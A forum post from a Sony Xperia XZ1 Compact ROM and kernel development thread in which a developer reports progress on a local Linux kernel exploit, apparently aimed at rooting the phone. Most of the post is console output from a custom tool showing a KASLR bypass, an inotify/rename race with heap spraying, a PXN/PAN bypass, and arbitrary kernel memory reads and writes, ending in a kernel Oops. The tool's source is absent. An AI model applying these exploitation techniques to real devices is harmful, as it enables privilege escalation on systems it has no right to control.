[Sony Xperia XZ1 Compact ROMs, Kernels, Recoveries,] j4nn:
Just implemented an arbitrary kernel space read and write support, tested in qemu:

/data/local/tmp # ./mytest-linux -Q --kallsyms -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass -k
rate 62500000,1000
main 0,0
notify 2,-10
handler 3,0
prtimer 2,-10
tmtype 3,0
tmfixup 1
tmtest 20,1
longn 1
kernelp 1
spray 8,7,-10,5078125
offset -8000
trials 0
logging 1,0,0,0
attack 2,1016,128,0

kaslr bypassed, kernel at 0xffffff981a280000 slide=0x1812200000
prepare for inotify/rename race attack, buffer=0x0000007fefb00000

starting initial attack
DETECTED OVERWRITE (event#228, hits=1, i=0, offset=-8000, och='f', nch='p'):
attack returned 1 (FINALY!)
done, overwrites = 1 (raw=1 kcpname_hits=51 heapshape_hits=109 tmouts=0) at -8000 offset

pxn/pan bypass prepared to start

starting pxn/pan bypass attack, faddr=0xffffffc442100600 paddr=0xffffff8008700094
DETECTED OVERWRITE (event#112, hits=1, i=0, offset=-8000, och='f', nch='p'):
attack returned 1 (FINALY!)
done, overwrites = 1 (kcpname_hits=16 heapshape_hits=0 tmouts=0) at -8000 offset

pxn/pan bypass verified OK (res=0x03020100, offs=32)
random data write verified OK (res=0x7f8551ae)
prepared to accept test commands

CTRL-Z
[1]+ Stopped ./mytest-linux -Q --kallsyms -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass -k
bg
[1] ./mytest-linux -Q --kallsyms -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass -k

/data/local/tmp # dmesg | grep 'text :'
[ 0.000000] .text : 0xffffff981a280000 - 0xffffff981b400000 ( 17920 KB)
/data/local/tmp # ./mytest-linux --cmd-krd 0xffffff981a280000 512 | hexdump -C
00000000 00 00 6e 14 00 00 00 00 00 00 08 00 00 00 00 00 |..n.............|
00000010 00 60 ae 02 00 00 00 00 0a 00 00 00 00 00 00 00 |.`..............|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 41 52 4d 64 00 00 00 00 |........ARMd....|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000200

/data/local/tmp # dmesg | grep '\.data'
[ 0.000000] .data : 0xffffff981c800000 - 0xffffff981ca97558 ( 2654 KB)
/data/local/tmp # ./mytest-linux --cmd-krd 0xffffff981c800000 2048 | hexdump -C
00000000 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................|
00000010 50 44 81 1c 98 ff ff ff 00 a0 89 42 00 00 00 00 |PD.........B....|
00000020 02 00 00 00 00 00 00 00 9d 6e ac 57 00 00 00 00 |.........n.W....|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000800
/data/local/tmp # echo -n -e '\xaa\xbb\xcc\xdd\x11\x22\x33\x44' | ./mytest-linux --cmd-kwr 0xffffff981c800040 8
/data/local/tmp # ./mytest-linux --cmd-krd 0xffffff981c800000 2048 | hexdump -C
00000000 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................|
00000010 50 44 81 1c 98 ff ff ff 00 a0 89 42 00 00 00 00 |PD.........B....|
00000020 02 00 00 00 00 00 00 00 9d 6e ac 57 00 00 00 00 |.........n.W....|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 aa bb cc dd 11 22 33 44 00 00 00 00 00 00 00 00 |....."3D........|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000800

Testing on target is still difficult, because the heap shaping seems not to be very effective, resulting in reboots due to unwanted overwrites.

But I have a new method for kaslr bypass, so it seems I would need just two overwrites by inotify/rename race wins. Even this is still difficult on the phone.

And an interesting example what happens when trying to write to kernel text (code) area, which is supposed to be read only:

/data/local/tmp # ./mytest-linux --cmd-krd 0xffffff981a280000 2048 | hexdump -C
00000000 00 00 6e 14 00 00 00 00 00 00 08 00 00 00 00 00 |..n.............|
00000010 00 60 ae 02 00 00 00 00 0a 00 00 00 00 00 00 00 |.`..............|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 41 52 4d 64 00 00 00 00 |........ARMd....|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000800
/data/local/tmp # echo -n -e '\xaa\xbb\xcc\xdd\x11\x22\x33\x44' | ./mytest-linux --cmd-kwr 0xffffff981a280040 8
[ 2851.109544] Unable to handle kernel paging request at virtual address ffffff981a280040
[ 2851.110106] pgd = ffffffc44208a000
[ 2851.110291] [ffffff981a280040] *pgd=0000000000000000, *pud=0000000000000000
[ 2851.111431] ------------[ cut here ]------------
[ 2851.111531] Kernel BUG at ffffff981a52515c [verbose debug info unavailable]
[ 2851.111687] Internal error: Oops - BUG: 9600004f [#1] PREEMPT SMP
[ 2851.111871] Modules linked in:
[ 2851.112001] CPU: 0 PID: 430 Comm: mytest-linux Tainted: G W 4.4.74-perf+ #7
[ 2851.112116] Hardware name: linux,dummy-virt (DT)
[ 2851.112196] task: ffffffc5398fa880 ti: ffffffc4420cc000 task.ti: ffffffc4420cc000
...

So we get a nice kernel Oops as expected...